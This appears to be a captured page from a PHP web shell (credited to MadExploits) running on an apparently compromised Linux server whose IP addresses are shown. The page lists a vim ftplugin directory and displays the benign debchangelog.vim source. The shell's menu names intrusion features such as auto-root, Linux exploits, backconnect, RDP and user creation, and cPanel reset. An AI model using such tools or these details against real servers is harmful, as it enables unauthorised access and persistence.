Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.147.77.51
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
vim /
vim74 /
ftplugin /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
869
B
-rw-r--r--
a2ps.vim
458
B
-rw-r--r--
aap.vim
716
B
-rw-r--r--
abap.vim
800
B
-rw-r--r--
abaqus.vim
3.31
KB
-rw-r--r--
ada.vim
6.26
KB
-rw-r--r--
alsaconf.vim
426
B
-rw-r--r--
ant.vim
1.31
KB
-rw-r--r--
arch.vim
419
B
-rw-r--r--
art.vim
410
B
-rw-r--r--
aspvbs.vim
1.87
KB
-rw-r--r--
automake.vim
325
B
-rw-r--r--
bdf.vim
437
B
-rw-r--r--
bst.vim
333
B
-rw-r--r--
btm.vim
316
B
-rw-r--r--
c.vim
1.92
KB
-rw-r--r--
calendar.vim
450
B
-rw-r--r--
cdrdaoconf.vim
375
B
-rw-r--r--
ch.vim
472
B
-rw-r--r--
changelog.vim
8.54
KB
-rw-r--r--
clojure.vim
2.78
KB
-rw-r--r--
cobol.vim
9.17
KB
-rw-r--r--
conf.vim
422
B
-rw-r--r--
config.vim
1.24
KB
-rw-r--r--
context.vim
955
B
-rw-r--r--
cpp.vim
288
B
-rw-r--r--
crm.vim
402
B
-rw-r--r--
cs.vim
802
B
-rw-r--r--
csc.vim
734
B
-rw-r--r--
csh.vim
1.59
KB
-rw-r--r--
css.vim
516
B
-rw-r--r--
cucumber.vim
5.2
KB
-rw-r--r--
cvsrc.vim
387
B
-rw-r--r--
debchangelog.vim
11.26
KB
-rw-r--r--
debcontrol.vim
1.84
KB
-rw-r--r--
denyhosts.vim
375
B
-rw-r--r--
dictconf.vim
422
B
-rw-r--r--
dictdconf.vim
423
B
-rw-r--r--
diff.vim
355
B
-rw-r--r--
dircolors.vim
419
B
-rw-r--r--
docbk.vim
530
B
-rw-r--r--
dosbatch.vim
777
B
-rw-r--r--
dosini.vim
446
B
-rw-r--r--
dtd.vim
1.1
KB
-rw-r--r--
dtrace.vim
1.12
KB
-rw-r--r--
elinks.vim
424
B
-rw-r--r--
erlang.vim
1.77
KB
-rw-r--r--
eruby.vim
3.08
KB
-rw-r--r--
eterm.vim
458
B
-rw-r--r--
falcon.vim
1.31
KB
-rw-r--r--
fetchmail.vim
416
B
-rw-r--r--
flexwiki.vim
1.83
KB
-rw-r--r--
fortran.vim
4.16
KB
-rw-r--r--
framescript.vim
768
B
-rw-r--r--
fvwm.vim
390
B
-rw-r--r--
git.vim
1.19
KB
-rw-r--r--
gitcommit.vim
2.16
KB
-rw-r--r--
gitconfig.vim
376
B
-rw-r--r--
gitrebase.vim
1.4
KB
-rw-r--r--
gitsendemail.vim
157
B
-rw-r--r--
gpg.vim
421
B
-rw-r--r--
gprof.vim
939
B
-rw-r--r--
group.vim
413
B
-rw-r--r--
grub.vim
422
B
-rw-r--r--
haml.vim
1.84
KB
-rw-r--r--
hamster.vim
1.88
KB
-rw-r--r--
haskell.vim
433
B
-rw-r--r--
help.vim
430
B
-rw-r--r--
hostconf.vim
375
B
-rw-r--r--
hostsaccess.vim
424
B
-rw-r--r--
html.vim
2.87
KB
-rw-r--r--
htmldjango.vim
331
B
-rw-r--r--
indent.vim
442
B
-rw-r--r--
initex.vim
1005
B
-rw-r--r--
ishd.vim
1.23
KB
-rw-r--r--
java.vim
1.65
KB
-rw-r--r--
javascript.vim
1.02
KB
-rw-r--r--
jsp.vim
1.96
KB
-rw-r--r--
kconfig.vim
375
B
-rw-r--r--
kwt.vim
851
B
-rw-r--r--
ld.vim
458
B
-rw-r--r--
lftp.vim
422
B
-rw-r--r--
libao.vim
428
B
-rw-r--r--
limits.vim
424
B
-rw-r--r--
liquid.vim
1.85
KB
-rw-r--r--
lisp.vim
911
B
-rw-r--r--
logcheck.vim
500
B
-rw-r--r--
loginaccess.vim
430
B
-rw-r--r--
logindefs.vim
428
B
-rw-r--r--
logtalk.dict
1.75
KB
-rw-r--r--
logtalk.vim
401
B
-rw-r--r--
lprolog.vim
1.25
KB
-rw-r--r--
lua.vim
973
B
-rw-r--r--
m4.vim
414
B
-rw-r--r--
mail.vim
1.08
KB
-rw-r--r--
mailaliases.vim
375
B
-rw-r--r--
mailcap.vim
422
B
-rw-r--r--
make.vim
935
B
-rw-r--r--
man.vim
4.6
KB
-rw-r--r--
manconf.vim
432
B
-rw-r--r--
markdown.vim
572
B
-rw-r--r--
matlab.vim
649
B
-rw-r--r--
mf.vim
404
B
-rw-r--r--
modconf.vim
465
B
-rw-r--r--
mp.vim
621
B
-rw-r--r--
mplayerconf.vim
460
B
-rw-r--r--
mrxvtrc.vim
798
B
-rw-r--r--
msmessages.vim
1.11
KB
-rw-r--r--
muttrc.vim
455
B
-rw-r--r--
nanorc.vim
435
B
-rw-r--r--
netrc.vim
416
B
-rw-r--r--
nsis.vim
553
B
-rw-r--r--
objc.vim
296
B
-rw-r--r--
ocaml.vim
22.5
KB
-rw-r--r--
occam.vim
1.27
KB
-rw-r--r--
pamconf.vim
421
B
-rw-r--r--
pascal.vim
667
B
-rw-r--r--
passwd.vim
412
B
-rw-r--r--
pdf.vim
2.55
KB
-rw-r--r--
perl.vim
2.77
KB
-rw-r--r--
perl6.vim
2.47
KB
-rw-r--r--
php.vim
2.75
KB
-rw-r--r--
pinfo.vim
423
B
-rw-r--r--
plaintex.vim
1.12
KB
-rw-r--r--
postscr.vim
1006
B
-rw-r--r--
procmail.vim
467
B
-rw-r--r--
prolog.vim
428
B
-rw-r--r--
protocols.vim
445
B
-rw-r--r--
pyrex.vim
766
B
-rw-r--r--
python.vim
1.33
KB
-rw-r--r--
qf.vim
459
B
-rw-r--r--
quake.vim
427
B
-rw-r--r--
racc.vim
437
B
-rw-r--r--
readline.vim
426
B
-rw-r--r--
reva.vim
709
B
-rw-r--r--
rnc.vim
419
B
-rw-r--r--
rpl.vim
620
B
-rw-r--r--
rst.vim
444
B
-rw-r--r--
ruby.vim
15.48
KB
-rw-r--r--
sass.vim
580
B
-rw-r--r--
scheme.vim
1.71
KB
-rw-r--r--
screen.vim
424
B
-rw-r--r--
scss.vim
200
B
-rw-r--r--
sensors.vim
443
B
-rw-r--r--
services.vim
440
B
-rw-r--r--
setserial.vim
427
B
-rw-r--r--
sgml.vim
1.18
KB
-rw-r--r--
sh.vim
1.17
KB
-rw-r--r--
sieve.vim
457
B
-rw-r--r--
slpconf.vim
465
B
-rw-r--r--
slpreg.vim
464
B
-rw-r--r--
slpspi.vim
455
B
-rw-r--r--
spec.vim
5.21
KB
-rw-r--r--
sql.vim
20.08
KB
-rw-r--r--
sshconfig.vim
429
B
-rw-r--r--
sudoers.vim
426
B
-rw-r--r--
svg.vim
1.17
KB
-rw-r--r--
sysctl.vim
441
B
-rw-r--r--
tcl.vim
1002
B
-rw-r--r--
tcsh.vim
1.18
KB
-rw-r--r--
terminfo.vim
418
B
-rw-r--r--
tex.vim
1.6
KB
-rw-r--r--
treetop.vim
404
B
-rw-r--r--
tt2html.vim
434
B
-rw-r--r--
udevconf.vim
422
B
-rw-r--r--
udevperm.vim
420
B
-rw-r--r--
udevrules.vim
414
B
-rw-r--r--
updatedb.vim
431
B
-rw-r--r--
vb.vim
1.86
KB
-rw-r--r--
verilog.vim
1.64
KB
-rw-r--r--
vhdl.vim
3.42
KB
-rw-r--r--
vim.vim
2.88
KB
-rw-r--r--
xdefaults.vim
469
B
-rw-r--r--
xf86conf.vim
422
B
-rw-r--r--
xhtml.vim
1.99
KB
-rw-r--r--
xinetd.vim
464
B
-rw-r--r--
xml.vim
1.87
KB
-rw-r--r--
xmodmap.vim
422
B
-rw-r--r--
xs.vim
465
B
-rw-r--r--
xsd.vim
1.14
KB
-rw-r--r--
xslt.vim
539
B
-rw-r--r--
yaml.vim
452
B
-rw-r--r--
zimbu.vim
5.2
KB
-rw-r--r--
zsh.vim
674
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : debchangelog.vim
" Vim filetype plugin file (GUI menu, folding and completion) " Language: Debian Changelog " Maintainer: Debian Vim Maintainers <pkg-vim-maintainers@lists.alioth.debian.org> " Former Maintainers: Michael Piefel <piefel@informatik.hu-berlin.de> " Stefano Zacchiroli <zack@debian.org> " Last Change: 2012-01-31 " License: Vim License " URL: http://hg.debian.org/hg/pkg-vim/vim/file/unstable/runtime/ftplugin/debchangelog.vim " Bug completion requires apt-listbugs installed for Debian packages or " python-launchpadlib installed for Ubuntu packages if exists("b:did_ftplugin") finish endif let b:did_ftplugin=1 " {{{1 Local settings (do on every load) if exists("g:debchangelog_fold_enable") setlocal foldmethod=expr setlocal foldexpr=DebGetChangelogFold(v:lnum) setlocal foldtext=DebChangelogFoldText() endif " Debian changelogs are not supposed to have any other text width, " so the user cannot override this setting setlocal tw=78 setlocal comments=f:* " Clean unloading let b:undo_ftplugin = "setlocal tw< comments< foldmethod< foldexpr< foldtext<" " }}}1 if exists("g:did_changelog_ftplugin") finish endif " Don't load another plugin (this is global) let g:did_changelog_ftplugin = 1 " {{{1 GUI menu " Helper functions returning various data. " Returns full name, either from $DEBFULLNAME or debianfullname. " TODO Is there a way to determine name from anywhere else? function <SID>FullName() if exists("$DEBFULLNAME") return $DEBFULLNAME elseif exists("g:debianfullname") return g:debianfullname else return "Your Name" endif endfunction " Returns email address, from $DEBEMAIL, $EMAIL or debianemail. function <SID>Email() if exists("$DEBEMAIL") return $DEBEMAIL elseif exists("$EMAIL") return $EMAIL elseif exists("g:debianemail") return g:debianemail else return "your@email.address" endif endfunction " Returns date in RFC822 format. function <SID>Date() let savelang = v:lc_time execute "language time C" let dateandtime = strftime("%a, %d %b %Y %X %z") execute "language time " . savelang return dateandtime endfunction function <SID>WarnIfNotUnfinalised() if match(getline("."), " -- [[:alpha:]][[:alnum:].]")!=-1 echohl WarningMsg echo "The entry has not been unfinalised before editing." echohl None return 1 endif return 0 endfunction function <SID>Finalised() let savelinenum = line(".") normal 1G call search("^ -- ") if match(getline("."), " -- [[:alpha:]][[:alnum:].]")!=-1 let returnvalue = 1 else let returnvalue = 0 endif execute savelinenum return returnvalue endfunction " These functions implement the menus function NewVersion() " The new entry is unfinalised and shall be changed amenu disable Changelog.New\ Version amenu enable Changelog.Add\ Entry amenu enable Changelog.Close\ Bug amenu enable Changelog.Set\ Distribution amenu enable Changelog.Set\ Urgency amenu disable Changelog.Unfinalise amenu enable Changelog.Finalise call append(0, substitute(getline(1), '-\([[:digit:]]\+\))', '-$$\1)', '')) call append(1, "") call append(2, "") call append(3, " -- ") call append(4, "") call Urgency("low") normal 1G0 call search(")") normal h normal call setline(1, substitute(getline(1), '-\$\$', '-', '')) if exists("g:debchangelog_fold_enable") foldopen endif call AddEntry() endfunction function AddEntry() normal 1G call search("^ -- ") normal kk call append(".", " * ") normal jjj let warn=<SID>WarnIfNotUnfinalised() normal kk if warn echohl MoreMsg call input("Hit ENTER") echohl None endif startinsert! endfunction function CloseBug() normal 1G call search("^ -- ") let warn=<SID>WarnIfNotUnfinalised() normal kk call append(".", " * (closes: #" . input("Bug number to close: ") . ")") normal j^ll startinsert endfunction function Distribution(dist) call setline(1, substitute(getline(1), ") [[:lower:] ]*;", ") " . a:dist . ";", "")) endfunction function Urgency(urg) call setline(1, substitute(getline(1), "urgency=.*$", "urgency=" . a:urg, "")) endfunction function <SID>UnfinaliseMenu() " This means the entry shall be changed amenu disable Changelog.New\ Version amenu enable Changelog.Add\ Entry amenu enable Changelog.Close\ Bug amenu enable Changelog.Set\ Distribution amenu enable Changelog.Set\ Urgency amenu disable Changelog.Unfinalise amenu enable Changelog.Finalise endfunction function Unfinalise() call <SID>UnfinaliseMenu() normal 1G call search("^ -- ") call setline(".", " -- ") endfunction function <SID>FinaliseMenu() " This means the entry should not be changed anymore amenu enable Changelog.New\ Version amenu disable Changelog.Add\ Entry amenu disable Changelog.Close\ Bug amenu disable Changelog.Set\ Distribution amenu disable Changelog.Set\ Urgency amenu enable Changelog.Unfinalise amenu disable Changelog.Finalise endfunction function Finalise() call <SID>FinaliseMenu() normal 1G call search("^ -- ") call setline(".", " -- " . <SID>FullName() . " <" . <SID>Email() . "> " . <SID>Date()) endfunction function <SID>MakeMenu() amenu &Changelog.&New\ Version :call NewVersion()<CR> amenu Changelog.&Add\ Entry :call AddEntry()<CR> amenu Changelog.&Close\ Bug :call CloseBug()<CR> menu Changelog.-sep- <nul> amenu Changelog.Set\ &Distribution.&unstable :call Distribution("unstable")<CR> amenu Changelog.Set\ Distribution.&frozen :call Distribution("frozen")<CR> amenu Changelog.Set\ Distribution.&stable :call Distribution("stable")<CR> menu Changelog.Set\ Distribution.-sep- <nul> amenu Changelog.Set\ Distribution.frozen\ unstable :call Distribution("frozen unstable")<CR> amenu Changelog.Set\ Distribution.stable\ unstable :call Distribution("stable unstable")<CR> amenu Changelog.Set\ Distribution.stable\ frozen :call Distribution("stable frozen")<CR> amenu Changelog.Set\ Distribution.stable\ frozen\ unstable :call Distribution("stable frozen unstable")<CR> amenu Changelog.Set\ &Urgency.&low :call Urgency("low")<CR> amenu Changelog.Set\ Urgency.&medium :call Urgency("medium")<CR> amenu Changelog.Set\ Urgency.&high :call Urgency("high")<CR> menu Changelog.-sep- <nul> amenu Changelog.U&nfinalise :call Unfinalise()<CR> amenu Changelog.&Finalise :call Finalise()<CR> if <SID>Finalised() call <SID>FinaliseMenu() else call <SID>UnfinaliseMenu() endif endfunction augroup changelogMenu au BufEnter * if &filetype == "debchangelog" | call <SID>MakeMenu() | endif au BufLeave * if &filetype == "debchangelog" | silent! aunmenu Changelog | endif augroup END " }}} " {{{1 folding " look for an author name in the [zonestart zoneend] lines searching backward function! s:getAuthor(zonestart, zoneend) let linepos = a:zoneend while linepos >= a:zonestart let line = getline(linepos) if line =~ '^ --' return substitute(line, '^ --\s*\([^<]\+\)\s*.*', '\1', '') endif let linepos -= 1 endwhile return '[unknown]' endfunction " Look for a package source name searching backward from the givenline and " returns it. Return the empty string if the package name can't be found function! DebGetPkgSrcName(lineno) let lineidx = a:lineno let pkgname = '' while lineidx > 0 let curline = getline(lineidx) if curline =~ '^\S' let pkgname = matchlist(curline, '^\(\S\+\).*$')[1] break endif let lineidx = lineidx - 1 endwhile return pkgname endfunction function! DebChangelogFoldText() if v:folddashes == '-' " changelog entry fold return foldtext() . ' -- ' . s:getAuthor(v:foldstart, v:foldend) . ' ' endif return foldtext() endfunction function! DebGetChangelogFold(lnum) let line = getline(a:lnum) if line =~ '^\w\+' return '>1' " beginning of a changelog entry endif if line =~ '^\s\+\[.*\]' return '>2' " beginning of an author-specific chunk endif if line =~ '^ --' return '1' endif return '=' endfunction if exists("g:debchangelog_fold_enable") silent! foldopen! " unfold the entry the cursor is on (usually the first one) endif " }}} " {{{1 omnicompletion for Closes: # if !exists('g:debchangelog_listbugs_severities') let g:debchangelog_listbugs_severities = 'critical,grave,serious,important,normal,minor,wishlist' endif fun! DebCompleteBugs(findstart, base) if a:findstart let line = getline('.') " try to detect whether this is closes: or lp: let g:debchangelog_complete_mode = 'debbugs' let try_colidx = col('.') - 1 let colidx = -1 " default to no-completion-possible while try_colidx > 0 && line[try_colidx - 1] =~ '\s\|\d\|#\|,\|:' let try_colidx = try_colidx - 1 if line[try_colidx] == '#' && colidx == -1 " found hash, where we complete from: let colidx = try_colidx elseif line[try_colidx] == ':' if try_colidx > 1 && strpart(line, try_colidx - 2, 3) =~ '\clp:' let g:debchangelog_complete_mode = 'lp' endif break endif endwhile return colidx else " return matches: let bug_lines = [] if g:debchangelog_complete_mode == 'lp' if ! has('python') echoerr 'vim must be built with Python support to use LP bug completion' return endif let pkgsrc = DebGetPkgSrcName(line('.')) python << EOF import vim try: from launchpadlib.launchpad import Launchpad from lazr.restfulclient.errors import HTTPError # login anonymously lp = Launchpad.login_anonymously('debchangelog.vim', 'production') ubuntu = lp.distributions['ubuntu'] try: sp = ubuntu.getSourcePackage(name=vim.eval('pkgsrc')) status = ('New', 'Incomplete', 'Confirmed', 'Triaged', 'In Progress', 'Fix Committed') tasklist = sp.searchTasks(status=status, order_by='id') liststr = '[' for task in tasklist: bug = task.bug liststr += "'#%d - %s'," % (bug.id, bug.title.replace('\'', '\'\'')) liststr += ']' vim.command('silent let bug_lines = %s' % liststr.encode('utf-8')) except HTTPError: pass except ImportError: vim.command('echoerr \'python-launchpadlib >= 1.5.4 needs to be installed to use Launchpad bug completion\'') EOF else if ! filereadable('/usr/sbin/apt-listbugs') echoerr 'apt-listbugs not found, you should install it to use Closes bug completion' return endif let pkgsrc = DebGetPkgSrcName(line('.')) let listbugs_output = system('/usr/sbin/apt-listbugs -s ' . g:debchangelog_listbugs_severities . ' list ' . pkgsrc . ' | grep "^ #" 2> /dev/null') let bug_lines = split(listbugs_output, '\n') endif let completions = [] for line in bug_lines let parts = matchlist(line, '^\s*\(#\S\+\)\s*-\s*\(.*\)$') " filter only those which match a:base: if parts[1] !~ "^" . a:base continue endif let completion = {} let completion['word'] = parts[1] let completion['menu'] = parts[2] let completion['info'] = parts[0] let completions += [completion] endfor return completions endif endfun setlocal omnifunc=DebCompleteBugs " }}} " vim: set foldmethod=marker:
Close